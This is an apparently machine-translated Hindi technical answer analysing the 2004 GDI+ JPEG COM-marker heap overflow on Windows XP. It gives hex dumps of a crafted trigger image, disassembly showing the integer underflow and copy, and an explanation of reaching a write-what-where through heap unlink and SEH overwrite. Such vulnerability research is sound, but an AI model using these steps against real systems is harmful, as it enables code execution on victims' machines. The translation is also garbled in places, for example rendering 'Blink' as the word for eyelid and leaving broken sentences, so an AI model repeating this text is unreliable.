यह भेद्यता निश्चित रूप से एक ढेर अतिप्रवाह थी ।
कैसे लिख सकता है 0XFFFFFFFE बाइट्स (4 जीबी !!!!) संभवतः प्रोग्राम को क्रैश नहीं करता है?
यह शायद होगा, लेकिन कुछ मौकों पर आपको दुर्घटना होने से पहले शोषण का समय मिल जाता है (कभी-कभी, आप कार्यक्रम को उसके सामान्य निष्पादन पर वापस ला सकते हैं और दुर्घटना से बच सकते हैं)।
जब मेम्स्की () शुरू होता है, तो प्रतिलिपि कुछ अन्य हीप ब्लॉकों या ढेर प्रबंधन संरचना के कुछ हिस्सों (जैसे मुफ्त सूची, व्यस्त सूची, आदि) को अधिलेखित कर देगी।
कुछ बिंदु पर प्रतिलिपि एक गैर-आवंटित पृष्ठ का सामना करेगी और लिखने पर एक एवी (एक्सेस उल्लंघन) को ट्रिगर करेगी। GDI + तब हीप में एक नया ब्लॉक आवंटित करने का प्रयास करेगा ( ntdll देखें ! RtlAllocateHeap ) ... लेकिन ढेर संरचनाएं अब सभी गड़बड़ हैं।
उस बिंदु पर, अपनी जेपीईजी छवि को सावधानीपूर्वक तैयार करके आप नियंत्रित डेटा के साथ ढेर प्रबंधन संरचनाओं को अधिलेखित कर सकते हैं। जब सिस्टम नए ब्लॉक को आवंटित करने का प्रयास करता है, तो यह संभवत: मुक्त सूची से एक (मुक्त) ब्लॉक को हटा देगा।
ब्लॉक का प्रबंधन (विशेष रूप से) एक फ्लिंक (फॉरवर्ड लिंक; सूची में अगला ब्लॉक) और ब्लिंक (बैकवर्ड लिंक; सूची में पिछला ब्लॉक) के साथ किया जाता है। यदि आप पलक और पलक दोनों को नियंत्रित करते हैं, तो आपके पास एक संभावित WRITE4 हो सकता है (क्या क्या / कहाँ स्थिति लिखें) जहाँ आप नियंत्रित करते हैं कि आप क्या लिख सकते हैं और आप कहाँ लिख सकते हैं।
उस बिंदु पर आप एक फ़ंक्शन पॉइंटर ( SEH [संरचित अपवाद हैंडलर]] को अधिलेखित कर सकते हैं जो उस समय 2004 में पसंद का लक्ष्य थे) और कोड निष्पादन प्राप्त करते हैं।
देखें ब्लॉग पोस्ट हीप करप्शन: ए केस स्टडी ।
नोट: हालांकि मैंने फ्रीलास्टिस्ट का उपयोग करके शोषण के बारे में लिखा था, एक हमलावर अन्य ढेर मेटाडेटा ("हीप मेटाडेटा" का उपयोग करके सिस्टम को ढेर का प्रबंधन करने के लिए उपयोग की जाने वाली संरचनाएं चुन सकता है; पलक और पलक ढेर मेटाडेटा का हिस्सा हैं), लेकिन; अनलिंक शोषण शायद "सबसे आसान" है। "हीप शोषण" के लिए एक Google खोज इस बारे में कई अध्ययन लौटाएगा।
क्या यह ढेर क्षेत्र से परे और अन्य कार्यक्रमों और ओएस के स्थान पर लिखता है?
कभी नहीँ। आधुनिक OS वर्चुअल एड्रेस स्पेस की अवधारणा पर आधारित होता है, इसलिए प्रत्येक प्रक्रिया का अपना वर्चुअल एड्रेस स्पेस होता है जो 32-बिट सिस्टम पर 4 गीगाबाइट तक मेमोरी को संबोधित करने में सक्षम बनाता है (व्यवहार में आपको केवल उपयोगकर्ता-भूमि में इसका आधा हिस्सा मिला, बाकी कर्नेल के लिए है)।
संक्षेप में, एक प्रक्रिया किसी अन्य प्रक्रिया की मेमोरी तक नहीं पहुंच सकती है (सिवाय इसके कि कर्नेल कुछ सेवा / एपीआई के माध्यम से इसके लिए पूछता है, लेकिन कर्नेल यह जांच करेगा कि क्या कॉलर को ऐसा करने का अधिकार है)।
मैंने इस सप्ताह के अंत में इस भेद्यता का परीक्षण करने का फैसला किया, इसलिए हम शुद्ध अनुमान के बजाय जो चल रहा था, उस पर एक अच्छा विचार प्राप्त कर सकते हैं। भेद्यता अब 10 वर्ष की है, इसलिए मैंने सोचा कि इसके बारे में लिखना ठीक है, हालांकि मैंने इस उत्तर में शोषण भाग नहीं समझाया है।
योजना
सबसे मुश्किल काम केवल SP1 के साथ एक विंडोज एक्सपी खोजना था, जैसा कि 2004 में था :)
फिर, मैंने एक जेपीईजी छवि को केवल एक पिक्सेल से बना डाउनलोड किया, जैसा कि नीचे दिखाया गया है (संक्षिप्तता के लिए कट):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
एक JPEG चित्र बाइनरी मार्करों (जो कि खंडों को जोड़ते हैं) से बना है। उपरोक्त छवि में, FF D8SOI (स्टार्ट ऑफ़ इमेज) मार्कर है, जबकि FF E0, उदाहरण के लिए, एक एप्लीकेशन मार्कर है।
एक मार्कर सेगमेंट में पहला पैरामीटर (SOI जैसे कुछ मार्करों को छोड़कर) एक दो-बाइट लंबाई पैरामीटर है जो मार्कर खंड में बाइट्स की संख्या को लंबाई पैरामीटर सहित और दो-बाइट मार्कर को छोड़कर एनकोड करता है।
मैंने FFFEएसओआई के ठीक बाद COM मार्कर (0x ) जोड़ा , क्योंकि मार्करों का कोई सख्त आदेश नहीं है।
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
COM खंड की लंबाई 00 00भेद्यता को ट्रिगर करने के लिए सेट की गई है। मैंने पुनरावर्ती पैटर्न के साथ COM मार्कर के ठीक बाद 0xFFFC बाइट्स भी इंजेक्ट किया, हेक्स में एक 4 बाइट्स संख्या, जो भेद्यता का "शोषण" करने पर काम में आ जाएगी।
डिबगिंग
डबल क्लिक करने से छवि तुरंत विंडोज शेल (उर्फ "एक्सप्लोरर। Exe") में बग को ट्रिगर करेगी, कहीं gdiplus.dllएक फ़ंक्शन में , जिसका नाम है GpJpegDecoder::read_jpeg_marker()।
यह फ़ंक्शन चित्र में प्रत्येक मार्कर के लिए कहा जाता है, यह बस: मार्कर खंड आकार पढ़ता है, एक बफर आवंटित करता है जिसकी लंबाई खंड आकार है और खंड की सामग्री को इस नए आवंटित बफर में कॉपी करें।
यहाँ समारोह की शुरुआत:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eaxसेगमेंट के आकार के बिंदुओं को पंजीकृत करें और ediछवि में बाइट्स की संख्या को छोड़ दिया गया है।
तब कोड खंड आकार को पढ़ने के लिए आगे बढ़ता है, सबसे महत्वपूर्ण बाइट से शुरू होता है (लंबाई 16-बिट मान है):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
और कम से कम महत्वपूर्ण बाइट:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
एक बार ऐसा करने के बाद, इस गणना के बाद, खंड आकार का उपयोग एक बफर आवंटित करने के लिए किया जाता है:
आवंटित_साइज = खंड_साइज + 2
यह नीचे दिए गए कोड द्वारा किया गया है:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
हमारे मामले में, जैसा कि खंड का आकार 0 है, बफर के लिए आवंटित आकार 2 बाइट्स है ।
आवंटन के बाद भेद्यता सही है:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
कोड पूरे खंड के आकार से खंड_ आकार आकार (खंड लंबाई 2 बाइट मान है) को घटाता है (हमारे मामले में 0) और पूर्णांक अंडरफ़्लो के साथ समाप्त होता है: 0 - 2 = 0xFFFFFFFE
कोड तो जाँचता है कि छवि में पार्स करने के लिए बाइट्स हैं (जो सच है), और फिर कॉपी में कूद जाता है:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
उपरोक्त स्निपेट से पता चलता है कि कॉपी आकार 0xFFFFFFFE 32-बिट विखंडू है। स्रोत बफर को नियंत्रित किया जाता है (चित्र की सामग्री) और गंतव्य ढेर पर एक बफर है।
शर्त लिखो
जब यह मेमोरी पेज के अंत तक पहुंच जाता है तो कॉपी एक एक्सेस उल्लंघन (एवी) अपवाद को ट्रिगर करेगा (यह या तो स्रोत सूचक या गंतव्य पॉइंटर से हो सकता है)। जब AV को ट्रिगर किया जाता है, तो ढेर पहले से ही एक असुरक्षित स्थिति में होता है क्योंकि प्रतिलिपि पहले से ही सभी निम्न हीप ब्लॉकों को अधिलेखित कर चुकी है जब तक कि एक गैर-मैप किए गए पृष्ठ का सामना नहीं किया गया था।
जो इस बग को शोषक बनाता है, वह यह है कि 3 एसईएच (स्ट्रक्चर्ड एक्सेप्शन हैंडलर; यह कोशिश है / निम्न स्तर को छोड़कर) कोड के इस हिस्से पर अपवादों को पकड़ रहा है। अधिक सटीक रूप से, 1 एसईएच स्टैक को खोल देगा इसलिए यह एक और जेपीईजी मार्कर को पार्स करने के लिए वापस आ जाता है, इस प्रकार अपवाद को ट्रिगर करने वाले मार्कर को पूरी तरह से छोड़ देता है।
एक SEH के बिना कोड सिर्फ पूरे कार्यक्रम दुर्घटनाग्रस्त हो गया होता। तो कोड COM खंड को छोड़ देता है और दूसरे खंड को पार्स करता है। इसलिए हम GpJpegDecoder::read_jpeg_marker()एक नए सेगमेंट के साथ वापस आते हैं और जब कोड एक नया बफर आवंटित करता है:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
सिस्टम मुक्त सूची से ब्लॉक को हटा देगा। ऐसा होता है कि मेटाडेटा संरचनाओं को छवि की सामग्री द्वारा अधिलेखित किया गया था; इसलिए हम नियंत्रित मेटाडेटा के साथ अनलिंक को नियंत्रित करते हैं। हीप प्रबंधक में सिस्टम (ntdll) में कहीं नीचे का कोड:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
अब हम वही लिख सकते हैं जो हम चाहते हैं, जहाँ हम चाहते हैं ...